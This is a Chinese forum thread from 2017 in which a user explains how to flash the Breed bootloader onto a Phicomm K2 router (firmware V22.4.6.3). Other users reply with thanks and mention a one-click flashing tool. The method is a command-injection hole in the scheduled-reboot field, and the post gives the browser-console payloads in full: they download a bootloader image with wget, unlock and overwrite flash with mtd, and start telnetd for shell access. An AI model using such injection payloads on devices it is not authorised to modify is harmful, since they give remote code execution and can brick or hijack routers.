斐迅K2 A6 V22.4.6.3用web漏洞成功刷入breed简单易行

qfnuzlr

昨天刚买的，版本A6 V22.4.6.3 一键刷机已经封了。
提醒：伸手党和喷粪族绕行，我成功了，不代表你可以行，也许我是侥幸呢，不对由此带来的后果负责!
看到论坛里有大神，帮忙免费生成mac加密配置文件。也发给他了，可能忙回复慢，我等不及谷歌了一下web漏洞的方法很简单，代码执行完即可需要一个chrome浏览器，斐迅路由器联网。
1.点击右上角的电源按钮，选择定时重启
2.点击启用定时功能
3.按F12（最新版的固件F12都禁止了，可以使用chrome的选项点击“更多工具”-》“开发者工具”）
4.在Console里面黏贴下面的语句，每次输入一条然后按enter键

$("#timerebootmin").val("05 | wget http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin")
$("#timeRebootSave").click()
$("#timerebootmin").val("05 | mtd unlock Bootloader")
$("#timeRebootSave").click()
$("#timerebootmin").val("05 | mtd write breed-mt7620-phicomm-psg1208.bin Bootloader")
$("#timeRebootSave").click()

5.重启路由
6.按住reset键，插入电源，等待3秒，可能更长时间，路由器lan口网线连接到电脑,打开到192.168.1.1，可以看到breed恢复控制台


以上方法来自网络，亲测成功，但不对由此带来的后果负责。

另外亲测可以利用上面的方法，开启原来固件的telnet功能。代码如下 方法同上每次一条然后回车。
$("#timerebootmin").val("05 | /usr/sbin/telnetd -l /bin/login.sh")
$("#timeRebootSave").click()
另：今天另一台k2 A6  V22.4.6.3 思考了一下用下面的方法刷的breed成功，抛砖引玉。
提醒：不对此承担责任，后果自负，用不用自便，别喷fen
先开telnet然后登录后命令行下刷。
具体，先通过谷歌浏览器利用web漏洞开telnet
$("#timerebootmin").val("05 | /usr/sbin/telnetd -l /bin/login.sh")
$("#timeRebootSave").click()

然后通过telnet 192.168.2.1 登录 依此运行下面的红色命令
切换目录到tmp
cd /tmp  
下载breed，可以直观看到下载进程
wget http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin
解锁
mtd unlock Bootloader
写breed到引导区。
mtd write breed-mt7620-phicomm-psg1208.bin Bootloader
好了，刷breed成功。感觉比上面的直观些。

Jiak

谢谢分享谢谢分享

FUN98

图片看看

欧阳山水

感谢分享。感谢分享

zengdong521

谢谢分享谢谢分享

rzwangmaohui

为了满足我的好奇心，我回复还不行吗？

chen000chen

我用那个一键刷机3.1就行了 完全傻瓜式

qin009

我用那个一键刷机3.1就行了 完全傻瓜式

zhl416

6666666666666666

qfnuzlr

rzwangmaohui 发表于 2017-3-2 09:39
为了满足我的好奇心，我回复还不行吗？

呵呵，也是无奈，有人水平差，刷坏了就来喷粪，遇到过

qfnuzlr

chen000chen 发表于 2017-3-2 09:41
我用那个一键刷机3.1就行了 完全傻瓜式

奥！是吗 前一个版本还不行呢

gt03957

看看教程，多多思考

qfnuzlr

gt03957 发表于 2017-3-2 09:44
看看教程，多多思考

客气了，互相思考，我也是到处思考。然后实践一下，再继续思考

chen000chen

qfnuzlr 发表于 2017-3-2 09:43
奥！是吗 前一个版本还不行呢

我之前手欠升级到有bug的官方最新版本  比22.4.6.3还新后来官方取消了那个 也是用3.1刷回breed

qthtjf

打开看看